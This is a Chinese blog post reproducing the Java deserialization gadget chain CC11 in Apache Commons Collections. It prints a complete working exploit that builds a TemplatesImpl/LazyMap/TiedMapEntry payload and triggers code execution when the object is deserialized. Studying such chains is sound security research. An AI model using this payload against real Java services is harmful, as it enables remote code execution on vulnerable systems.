首页 > 编程语言 >java 反序列化 cc11 复现

java 反序列化 cc11 复现

时间:2025-01-15 21:21:31浏览次数:1  
标签:java org commons apache collections new cc11 import 序列化

cc11就是对我们调试过的cc3中出口为LazyMap并且没有绕过InvokerTransformer的版本进行修改,使其不出现非javase中的数组.换句话说就是绕过了ChainedTransformer
直接来看exp

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import java.io.*;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ExceptionPredicate;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesimpl = new TemplatesImpl();

        Class<?> clazz = templatesimpl.getClass();
        Field field = clazz.getDeclaredField("_name");
        field.setAccessible(true);
        field.set(templatesimpl, "test");

        Field field2 = clazz.getDeclaredField("_bytecodes");
        field2.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
        byte[][] codes = {code};
        field2.set(templatesimpl, codes);

        Field field3 = clazz.getDeclaredField("_tfactory");
        field3.setAccessible(true);
        field3.set(templatesimpl, new TransformerFactoryImpl());

        InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);

        Map lazymap = LazyMap.decorate(new HashMap(), it);//此处进行修改
        TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), templatesimpl);//此处进行修改

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);

        Class clazz1 = TiedMapEntry.class;
        Field field1 = clazz1.getDeclaredField("map");
        field1.setAccessible(true);
        field1.set(tiedMapEntry, lazymap);

        serial(hashMap);
        unserial();
    }

    public static void serial(Object obj) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
        in.readObject();
    }
}

看了一下,和网上的版本不太一样.利用链和cc3一样,没啥可说的.

标签:java,org,commons,apache,collections,new,cc11,import,序列化
From: https://www.cnblogs.com/meraklbz/p/18673730

相关文章

  • Java RestTemplate 发送 POST 请求设置请求体示例
    在Java中使用RestTemplate​发送POST请求并设置请求体(body)参数,可以按照以下步骤进行。RestTemplate​是Spring提供的一个用于发送HTTP请求的工具类。示例代码以下是一个完整的示例,展示如何使用RestTemplate​发送POST请求并设置请求体参数:importorg.sp......
  • Java RestTemplate 发送 POST 请求设置请求体示例
    在Java中使用RestTemplate​发送POST请求并设置请求体(body)参数,可以按照以下步骤进行。RestTemplate​是Spring提供的一个用于发送HTTP请求的工具类。示例代码以下是一个完整的示例,展示如何使用RestTemplate​发送POST请求并设置请求体参数:importorg.sp......
  • Java RestTemplate 发送 POST 请求设置请求体示例
    在Java中使用RestTemplate​发送POST请求并设置请求体(body)参数,可以按照以下步骤进行。RestTemplate​是Spring提供的一个用于发送HTTP请求的工具类。示例代码以下是一个完整的示例,展示如何使用RestTemplate​发送POST请求并设置请求体参数:importorg.sp......
  • Java RestTemplate 发送 POST 请求设置请求体示例
    在Java中使用RestTemplate​发送POST请求并设置请求体(body)参数,可以按照以下步骤进行。RestTemplate​是Spring提供的一个用于发送HTTP请求的工具类。示例代码以下是一个完整的示例,展示如何使用RestTemplate​发送POST请求并设置请求体参数:importorg.sp......
  • java面向对象(三)
    static关键字使用范围:在Java类中,可用static修饰属性、方法、代码块、内部类被修饰后的成员具备以下特点:随着类的加载而加载优先于对象存在修饰的成员,被所有对象所共享访问权限允许时,可不创建对象,直接被类调用静态变量使用static修饰的成员变量就是静态变量(或类......
  • java面向对象
    java面向对象1.类和对象1.1类和对象的理解客观存在的事物皆为对象,所以我们也常常说万物皆对象。类类的理解类是对现实生活中一类具有共同属性和行为的事物的抽象类是对象的数据类型,类是具有相同属性和行为的一组对象的集合简单理解:类就是对现实事物的一种描述类......
  • Java常用类
    一、字符串相关的类1、String类及常用方法String类:代表字符串。Java程序中的所有字符串字面值(如"abc")都作为此类的实例实现。String是一个final类,代表不可变的字符序列。字符串是常量,用双引号引起来表示。它们的值在创建之后不能更改。String对象的字符内容是存储在一个......
  • Java RestTemplate 发送 POST 请求设置请求体示例
    在Java中使用RestTemplate​发送POST请求并设置请求体(body)参数,可以按照以下步骤进行。RestTemplate​是Spring提供的一个用于发送HTTP请求的工具类。示例代码以下是一个完整的示例,展示如何使用RestTemplate​发送POST请求并设置请求体参数:importorg.sp......
  • java第二章数组
    java第二章数组数组的概念和特点数组的概念数组(Array),是多个相同类型数据按一定顺序排列的集合,并使用一个名字命名,并通过编号的方式对这些数据进行统一管理。数组的特点特点是一个可以存储同一种数据类型元素的容器,对于同一个数组而言,里面的元素类型都是一样。数......
  • java 反序列化 URLDNS 链
    常用于探测反序列化漏洞是否存在的一条链,之前调过cc6,这条应该比较简单,自己随便调调就行.URL直接来看hashCode方法publicsynchronizedinthashCode(){if(hashCode!=-1)returnhashCode;hashCode=handler.hashCode(this);re......